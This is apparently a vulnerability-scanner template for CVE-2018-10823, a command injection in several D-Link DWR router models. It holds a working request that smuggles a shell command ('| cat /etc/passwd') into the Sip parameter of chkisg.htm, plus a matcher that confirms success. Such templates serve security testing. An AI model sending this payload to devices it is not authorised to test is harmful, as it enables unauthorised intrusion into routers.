id: CVE-2018-10823

info:
  name: D-Link Routers - Command Injection
  author: wisnupramoedya
  severity: high
  description: An issue was discovered on D-Link DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 devices. An authenticated attacker may execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for full control over the device internals.
  reference:
    - https://www.exploit-db.com/exploits/45676
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10823
  tags: cve,cve2018,rce,iot,dlink,router
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.80
    cve-id: CVE-2018-10823
    cwe-id: CWE-78

requests:
  - method: GET
    path:
      - "{{BaseURL}}/chkisg.htm%3FSip%3D1.1.1.1%20%7C%20cat%20%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200